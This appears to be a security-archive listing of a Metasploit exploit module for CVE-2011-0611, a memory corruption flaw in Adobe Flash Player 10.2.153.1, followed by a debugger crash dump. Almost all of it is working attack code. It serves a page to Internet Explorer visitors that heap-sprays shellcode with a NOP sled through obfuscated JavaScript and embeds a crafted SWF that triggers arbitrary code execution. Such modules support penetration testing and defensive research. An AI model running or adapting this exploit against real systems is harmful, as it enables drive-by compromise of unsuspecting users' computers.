Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability

2011-04-1700:00:00
sinn3r
packetstormsecurity.com
0.97 High
EPSS
Percentile
99.7%
JSON
`##  
# $Id: adobe_flashplayer_flash10o.rb 12330 2011-04-16 02:09:33Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability in Adobe Flash Player that was discovered, and  
has been exploited actively in the wild. By embedding a specially crafted .swf file,  
Adobe Flash crashes due to an invalid use of an object type, which allows attackers to  
overwrite a pointer in memory, and results arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 12330 $",  
'Author' =>  
[  
'sinn3r',  
],  
'References' =>  
[  
[ 'CVE', '2011-0611' ],  
[ 'OSVDB', '71686' ],  
[ 'BID', '47314' ],  
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],  
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],  
[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],  
[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],  
[ 'URL', 'http://secunia.com/blog/210' ],  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "process",  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'IE 6/7 on Windows XP SP3 and Windows Vista', {} ],  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 11 2011",  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
if agent !~ /MSIE \d\.\d/ and agent !~ /NT \d\.\d/  
send_not_found(cli)  
return  
end  
  
if request.uri =~ /\.swf/  
print_status("Sending trigger SWF...")  
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )  
return  
end  
  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
nopsled = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') * 8 , Rex::Arch.endian(target.arch))  
  
swf_name = rand_text_alpha(rand(3))  
js_func_name = rand_text_alpha(rand(6) +3)  
js_var_blocks_name = rand_text_alpha(rand(6) + 3)  
js_var_shell_name = rand_text_alpha(rand(6) + 3)  
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)  
js_var_index_name = rand_text_alpha(rand(6) + 3)  
js_var_padding_offset = rand_text_alpha(rand(6) + 3)  
trigger_file_name = "#{get_resource}/#{swf_name}.swf"  
  
html = <<-EOS  
<html>  
<head>  
<script>  
function #{js_func_name}() {  
var #{js_var_blocks_name} = new Array();  
var #{js_var_shell_name} = unescape("#{shellcode}");  
var #{js_var_nopsled_name} = unescape("#{nopsled}");  
var #{js_var_padding_offset} = #{js_var_shell_name}.length;  
while (#{js_var_nopsled_name}.length < 0x10101) { #{js_var_nopsled_name} += unescape("#{nopsled}") };  
#{js_var_nopsled_name} = #{js_var_nopsled_name}.substring(#{js_var_padding_offset}, #{js_var_nopsled_name}.length);  
#{js_var_blocks_name}[0] = #{js_var_nopsled_name} + #{js_var_shell_name};  
for (#{js_var_index_name}=1; #{js_var_index_name} < 0x802; #{js_var_index_name}++) {  
#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_blocks_name}[0].substring(0, #{js_var_blocks_name}[0].length);  
}  
}  
#{js_func_name}();  
</script>  
</head>  
<body>  
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"  
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">  
<param name="movie" value="#{trigger_file_name}" />  
<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"  
pluginspage="http://www.macromedia.com/go/getflashplayer">  
</embed>  
</body>  
</html>  
EOS  
  
html = html.gsub(/^\t\t/, "")  
  
print_status("Sending malicious HTML to #{cli.peerhost}:#{cli.peerport}")  
send_response(cli, html, {'Content-Type' => "text/html"} )  
end  
  
def exploit  
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")  
f = File.open(path, "rb")  
@trigger = f.read(f.stat.size)  
f.close  
  
super  
end  
end  
  
  
=begin  
0:000> r  
eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0  
eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202  
Flash10o+0xd01f6:  
100d01f6 ff5008 call dword ptr [eax+8] ds:0023:11111118=????????  
0:000> dd ecx  
01d650b0 11111110 00000000 00000000 00000000  
01d650c0 00000000 00000000 00000000 00000000  
01d650d0 00000000 00000000 00000000 00000000  
01d650e0 00000000 00000000 00000000 00000000  
01d650f0 00000000 00000000 00000000 00000000  
01d65100 00000000 00000000 00000000 00000000  
01d65110 00000000 00000000 00000000 00000000  
01d65120 00000000 00000000 00000000 00000000  
=end`